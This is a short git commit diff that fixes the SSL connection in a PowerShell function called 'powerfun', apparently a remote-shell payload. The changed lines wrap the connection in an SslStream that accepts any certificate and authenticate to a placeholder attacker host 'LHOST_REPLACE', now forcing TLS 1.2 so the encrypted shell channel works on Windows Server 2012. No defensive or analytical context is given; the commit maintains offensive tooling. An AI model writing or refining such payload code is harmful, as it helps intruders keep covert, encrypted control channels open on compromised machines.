fix ssl connection on Windows Server 2012
This commit is contained in:
parent
e5ef1bb7fc
commit
e10eaec84c
|
@ -30,7 +30,7 @@ function powerfun
|
|||
if ($Sslcon -eq "true")
|
||||
{
|
||||
$sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
|
||||
$sslStream.AuthenticateAsClient("LHOST_REPLACE")
|
||||
$sslStream.AuthenticateAsClient("LHOST_REPLACE",$null,"tls12",$false)
|
||||
$stream = $sslStream
|
||||
}
|
||||
|
||||
|
|
Loading…
Reference in New Issue